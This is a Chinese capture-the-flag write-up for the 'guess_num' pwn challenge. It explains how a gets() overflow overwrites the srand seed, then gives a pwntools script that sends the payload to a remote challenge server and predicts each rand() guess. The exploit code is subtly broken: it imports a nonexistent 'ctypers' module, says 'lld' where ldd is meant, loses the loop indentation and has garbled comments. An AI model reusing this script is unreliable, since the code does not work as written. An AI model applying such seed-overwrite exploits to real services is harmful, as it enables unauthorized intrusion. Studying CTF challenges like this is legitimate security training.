*pwn*练习4——攻防世界-guess_num

   先file checksec一下,保护开全,64位,拖到ida查看情况

 我们这里看到gets这个漏洞

下面有个srand函数,于是我们想到溢出覆盖,这个seed就是srand的参数,如果我们用我们特定已知的数字作为参数,就可以得到flag,所以我们先覆盖到seed再sendline srand参数,再给它传入特定的数字就ok了。

在命令行 lld guess_num得到共享库的地址

 关于动态库

https://www.cnblogs.com/Daniel-G/p/3190315.html

(可以参照这个)

 

 from ctypers import *#引入python中自ctypes块进pythonc的混合
from pwn import *
kubopiy=remote("220.249.52.133",41053)#
elf = ELF("./guess_num")
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")#些都是系
payload=b'a'*(0x30-0x10)+p64(1)#b是字这么多的a,再加一64位打包好的覆盖使之能覆盖seed
kubopiy.recvuntil("Your name:")#接收到那一句
kubopiy.sendline(payload)
libc.srand(1)
for i in range(10):
kubopiy.recvuntil("Please input your guess number:") # 接收到那一句
kubopiy.sendline(str(libc.rand()%6+1))
kubopiy.interactive()

原文地址:https://www.cnblogs.com/kubopiy/p/13657188.html